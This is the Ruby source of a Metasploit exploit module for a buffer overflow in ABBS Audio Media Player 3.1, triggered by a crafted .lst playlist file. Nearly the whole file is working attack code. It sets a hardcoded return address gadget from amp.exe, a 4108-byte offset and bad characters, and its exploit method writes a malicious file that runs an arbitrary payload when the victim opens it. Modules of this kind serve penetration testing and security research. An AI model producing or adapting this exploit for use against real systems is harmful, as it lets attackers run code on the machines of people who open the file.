1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'ABBS Audio Media Player .LST Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
18
          occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges
19
          of the user running the application. This module has been tested successfully on
20
          ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'Julian Ahrens', # Vulnerability discovery and PoC
25
          'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
26
        ],
27
        'References' => [
28
          [ 'CVE', '2019-5621 ' ],
29
          [ 'OSVDB', '75096' ],
30
          [ 'EDB', '25204' ]
31
        ],
32
        'DefaultOptions' => {
33
          'EXITFUNC' => 'process',
34
        },
35
        'Platform' => 'win',
36
        'Payload' => {
37
          'BadChars' => "\x00\x0a\x0d",
38
          'DisableNops' => true,
39
        },
40
        'Targets' => [
41
          [
42
            'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',
43
            {
44
              'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe
45
              'Offset' => 4108,
46
            }
47
          ]
48
        ],
49
        'Privileged' => false,
50
        'DisclosureDate' => '2013-06-30',
51
        'DefaultTarget' => 0,
52
        'Notes' => {
53
          'Reliability' => UNKNOWN_RELIABILITY,
54
          'Stability' => UNKNOWN_STABILITY,
55
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
        }
57
      )
58
    )
59

60
    register_options(
61
      [
62
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
63
      ]
64
    )
65
  end
66

67
  def exploit
68
    buffer = payload.encoded
69
    buffer << rand_text(target['Offset'] - (payload.encoded.length))
70
    buffer << [target.ret].pack('V')
71

72
    file_create(buffer)
73
  end
74
end
75

76